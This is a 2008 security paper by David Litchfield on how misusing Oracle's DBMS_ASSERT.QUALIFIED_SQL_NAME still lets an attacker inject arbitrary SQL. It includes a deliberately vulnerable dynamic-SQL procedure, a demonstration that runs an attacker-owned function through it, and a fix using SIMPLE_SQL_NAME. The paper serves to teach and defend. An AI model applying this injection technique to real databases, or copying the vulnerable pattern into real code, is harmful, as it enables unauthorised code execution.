Bypassing Oracle DBMS_ASSERT
(in certain situations)

David Litchfield
23rd July 2008

The DBMS_ASSERT builtin package can be used by PL/SQL developers to protect against SQL injection attacks[1]. In [2] Alex Kornbrust showed that there are certain cases where the use of the DBMS_ASSERT.QUALIFIED_SQL_NAME function can be unintentionally misused by developers in such a way that SQL injection is still possible. Alex's attack showed a way to break out of a quoted string to inject arbitrary SQL. This paper discusses another scenario where using the same function can still allow an attacker to inject arbitrary SQL. The problem arises when the QUALIFIED_SQL_NAME function is used to validate a column name in a select list or where clause for example. Multiple instances of this scenario have been found and reported to Oracle.

Consider the following code:

```
CREATE OR REPLACE PROCEDURE DEMO(P_COLNAME VARCHAR) IS
      STMT VARCHAR(200);
      N NUMBER;
BEGIN
      STMT:='SELECT COUNT
      ('||DBMS_ASSERT.QUALIFIED_SQL_NAME(P_COLNAME)||')
      FROM ALL_OBJECTS WHERE OBJECT_NAME = ''ALL_OBJECTS''';
      EXECUTE IMMEDIATE STMT INTO N;
END;
/
```

Here, a user supplies the name of a column and this is used in a SELECT statement. The column name is validate using the QUALIFIED_SQL_NAME function. Rather than supplying the name of a column, however, an attacker could provide the name of an auxilliary inject function instead and this function would execute allowing the attacker to run arbitrary SQL. That said, this auxilliary inject function would exist in the attacker's schema and they'd need to provide the schema as well as the function in the form of FOO.BAR. Let's see if this passes the QUALIFIED_SQL_NAME check:

```
SQL> SELECT DBMS_ASSERT.QUALIFIED_SQL_NAME('FOO.BAR') FROM
DUAL;

DBMS_ASSERT.QUALIFIED_SQL_NAME('FOO.BAR')
------------------------------------------------
FOO.BAR
```

```
SQL>
```

As can be seen FOO.BAR passes through the check and so can be used. Thus an attacker can now inject their own function:

```
SQL> CONNECT SCOTT/TIGER
Connected.
SQL> SET SERVEROUTPUT ON
SQL> CREATE OR REPLACE FUNCTION SHOWME RETURN NUMBER IS
  2  BEGIN
  3  DBMS_OUTPUT.PUT_LINE('IN THE FUNCTION...');
  4  RETURN DBMS_RANDOM.NORMAL;
  5  END;
  6  /

Function created.
SQL> GRANT EXECUTE ON SCOTT.SHOWME TO PUBLIC;

Grant succeeded.

SQL> EXEC SYS.DEMO('SCOTT.SHOWME');
IN THE FUNCTION...
IN THE FUNCTION...
```

Rather than using the QUALIFIED_SQL_NAME function in these cases, a developer should use the DBMS_ASSERT.SIMPLE_SQL_NAME function. Let's replace the function and recreate the procedure then attempt to exploit it:

```
SQL> CONNECT / AS SYSDBA
Connected.
SQL> CREATE OR REPLACE PROCEDURE DEMO(P_COLNAME VARCHAR) IS
  2     STMT VARCHAR(200);
  3     N NUMBER;
  4  BEGIN
  5     STMT:='SELECT COUNT
  6     ('||DBMS_ASSERT.SIMPLE_SQL_NAME(P_COLNAME)||')
  7     FROM ALL_OBJECTS WHERE OBJECT_NAME =
''ALL_OBJECTS''';
  8             EXECUTE IMMEDIATE STMT INTO N;
  9  END;
 10  /

Procedure created.

SQL> CONNECT SCOTT/TIGER
```

```
Connected.
SQL> SET SERVEROUTPUT ON
SQL> EXEC SYS.DEMO('SCOTT.SHOWME');
BEGIN SYS.DEMO('SCOTT.SHOWME'); END;

*
ERROR at line 1:
ORA-44003: invalid SQL name
ORA-06512: at "SYS.DBMS_ASSERT", line 146
ORA-06512: at "SYS.DEMO", line 5
ORA-06512: at line 1
```

And just to verify the procedure still works as the developer expected we try normal or rather expected input:

```
SQL> EXEC SYS.DEMO('OBJECT_ID');

PL/SQL procedure successfully completed.
```

Inherently there’s nothing wrong with the DBMS_ASSERT package. Both these attacks and Alex’s attacks highlight instances where the wrong function has been used and are not generic bypass techniques. That said, we can see that developers need to take care when using DBMS_ASSERT and ensure that the input type they are expecting is the only input type that gets through.

[1] Securing PL/SQL Applications with DBMS_ASSERT
David Litchfield
http://www.ngssoftware.com/papers/DBMS_ASSERT.pdf

[2] Bypassing Oracle dbms_assert
Alexander Kornbrust
http://www.red-database-security.com/wp/bypass_dbms_assert.pdf